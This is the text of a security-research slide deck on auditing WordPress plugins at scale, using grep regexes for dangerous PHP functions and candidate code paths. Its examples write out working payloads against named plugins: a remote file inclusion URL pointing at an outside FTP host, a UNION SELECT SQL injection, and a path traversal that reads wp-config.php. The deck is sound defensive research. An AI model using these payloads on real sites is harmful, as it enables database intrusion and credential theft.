Large-scale application security

Report
Large-scale application security
Charlie Eriksen
Agenda
•
•
•
•
•
•
•
•
Define the problem space
Testing and auditing techniques
Step 1 – Define target
Step 2 – Understand the target
Step 3 – Find critical/high-risk code paths to review
Step 4 – Review and test
Step 5 – Asses your findings and iterate
Future challenges
▫ Locating the absence of CSRF protection
▫ Real-time alerting
Goals
• The ability to take a large amount of code and
audit it for vulnerabilities
• Prioritize time spent in an audit based on risk
• Spend as little time as possible to find as many
vulnerabilities as possible
Inspiration
Inspiration
Inspiration
Problem space
• Large amounts of large code bases exist
• Reviewing in depth is cost prohibitive
▫ … and is going to take all of your life
▫ … and you’ll still miss half the vulnerabilities
• What is the cost per vulnerability found?
• What vulnerabilities have the higher risk?
▫ Risk($) = ($) × ℎ  
Vulnerability classes and mitigation
Systematic
vulnerabilities
• Framework
• Code review
• Manual/Automatic
testing
Business/design
logic
• Code review
• Manual testing
What we’re not trying to solve
• Reviewing business logic
• Pin-point accuracy of vulnerabilities
• (Not really) reviewing for the absence of…
▫ We’ll look at my attempt at reviewing for the
absence of CSRF protection later!
Testing techniques
White
box
The sweet spot
Black
box
White box
• Pros
▫ Not restricted by your
discovery phase
▫ Gets you straight to where
interesting things happen
• Cons
▫ Some code can be too hard to
statically analyze
▫ Things may hide in plain
sight
Black box
• Pros
▫ Some parts can be automated
▫ Allows you to observe
behavior
▫ Will uncover the most
obvious flaws
• Cons
▫ Uncovering some bugs can be
expensive
▫ Special code-paths may never
be executed
Testing techniques
Audit ROI
• This is probably true for most companies
▫ Large number of applications
▫ Lots of legacy
▫ Not enough time to audit all thoroughly
• Consider:
▫ What do you not know/Are there risks you’re not
aware of?
▫ What is your vulnerability tolerance?
▫ What vulnerabilities have the highest impact?
▫ What vulnerabilities are most likely to be discovered?
Audit ROI
$$$
High
I
m
p
a
c
t
Good!
Low
Easy
Hard
Discoverability
Are you google? If not,
wasted time/money
Candidate point strategy
• Fastest way to identify a lot of vulnerabilities
• Starts with identifying:
▫ Points with side effects
▫ Known vulnerable patterns
• Then back-tracing
Step 1 – Define target
• Find a target
▫ In-house?
▫ Public projects?
 Plugins!
• Obtain source code
Wordpress example
Step 2 - Understand the target
• Learn the language
• Internalize OWASP top 10
• Observe the framework and language
▫ Dangerous functions
▫ Mitigation techniques
• Find commonly vulnerable code patterns
PHP/Wordpress important functions
• A good list exists here for PHP:
http://stackoverflow.com/questions/3115559/ex
ploitable-php-functions
• Highlights:
▫ include/require
▫ system/exec/shell_exec
▫ eval
• Wordpress specific:
▫ wpdb
Step 3 – Find critical/high-risk code
paths to review
• Higher risk code paths is where you’ll want to spend
more time
• Determine your critical functionality and assets
• Examples might be:
▫
▫
▫
▫
▫
▫
System calls
Database access
File system access
Web-specific things, forms, markup output
Encoding(base64)
Cryptographic usage(md5!?)
• These will be our candidate points
Good PHP regexes
• (include|require).*\$_(POST|GET|REQUEST)
• file_get_contents.*\$_(POST|GET|REQUEST)
• (eval|exec|system|shell_exec).*\$_(POST|GET|REQ
UEST)
• SELECT .* FROM .* \$_(POST|GET|REQUEST)
• (echo|print).*\$_(POST|GET|REQUEST)
Step 4 – Review and test
• Start by casting the net wide on a project
• As you learn more about it, start being more
specific and reduce noise
• Learn to review code at a glance
• High risk vulnerabilities are usually easily seen
at a glance
Example 1
Example 1 – Cryptographic
md5\s?\(.*\$_(GET|POST|REQUEST)
Example 1 – Cryptographic exploit
Example 2
Example 2 – File inclusion
(include|require).*\$_(POST|GET|REQUEST)
Example 2 – File inclusion
/wordpress/wp-content/plugins/zingiri-webshop/fws/download.php?abspath=ftp://hello:thisisdog@
example.com/
Example 3
Example 3 – SQL Injection
SELECT .* FROM .* \$_(POST|GET|REQUEST)
Example 3 – SQL Injection
/wordpress/wp-content/plugins/all-videogallery/xml/playlist.php?vid=2 UNION SELECT 1, 2,
user(), @@version, 5, 6, 7, 8, 9, 10, database(), 12, 13,
14, 15, 16, 17, 18
Example 4
Example 4 – File disclosure
file_get_contents.*\$_(POST|GET|REQUEST)
Example 4 – File disclosure
/wordpress/wp-content/plugins/google-documentembedder/libs/pdf.php?fn=lol.pdf&file=../../../../wpconfig.php
Step 5 – Asses your findings and iterate
• Steps to take
▫ Assess risk
▫ Do root cause analysis
▫ Consider if there is likely to be more vulnerabilities of
this type
▫ Find out if there are steps that can be taken to mitigate
the class of vulnerability at large
• Find next steps to improve your ROI
▫
▫
▫
▫
Are you coming close to your risk tolerance?
Are there still unknowns?
Are there other higher-risk areas(ROI?)
Have you addressed the most discoverable bugs?
Methodology
• All vulnerabilities found using this method
• All vulnerabilities submitted to Secunia SVCRP
▫ Sweet program, check it out
• Data based on their advisories
▫ Download numbers pulled manually
Research findings
• 24 plugins
• ~2 million downloads
• 66 vulnerabilities
Downloads
Global Content Blocks
Ungallery
Nmedia Mailchimp
Mac Photo Gallery
Cimy User Manager
Paid Memberships Pro
FireStorm Professional..
Floating Social Media Links
All video Gallery
A page flip book
Flexi Quote Rotator
Profile Builder
Zingiri Forum
Sendit Newsletter
WP Online Store
Zingiri Web Shop
TheCartPress
WP Symposium
Crayon Syntax Highlighter
Duplicator
Quotes Collection
Google Document Embedder
GD Star Rating
0
200,000
400,000
600,000
800,000
1,000,000
Vulnerabilities
Command execution,
1
Security bypass, 11
XSS, 18
File inclusion, 6
File disclosure, 5
SQL injection, 25
Time to patch
0
20
40
6 advisories without patch
34 days to patch on average
60
80
100
120
140
Future challenges – Locate the
absence of mitigation
• Simple question: How do you accurately pinpoint for the absence of a vulnerability
mitigation?
• Secure by default helps, but can’t be assumed
Locating the absence of CSRF
protection
Results
• 30 plugins
• 14.000.000 downloads
Plugin downloads
455k downloads on average
Future challenges – Vulnerability
alerting
• We know how to look for vulnerabilities
• You have to keep up with current development
• Reviewing the same code over and over again
stops paying off
• How do we make a machine look for things to
review in real-ish time?
Conclusions
• Intelligent grep use can uncover vulnerabilities
• Using your understanding of a language and
framework serves as a great starting point for code
reviews
• By reviewing critical code-paths for mechanical
vulnerabilities, you can cover a lot of ground in short
time
• Systematic vulnerabilities exist and can be
uncovered en masse quite trivially
• Use root cause analysis appropriately and fix the
problem rather than the symptom
Bonus example!
Bonus example!
array_merge\(.*\$_(POST|GET|REQUEST)
Press button, receive answers
www.ceriksen.com - @charlieeriksen

similar documents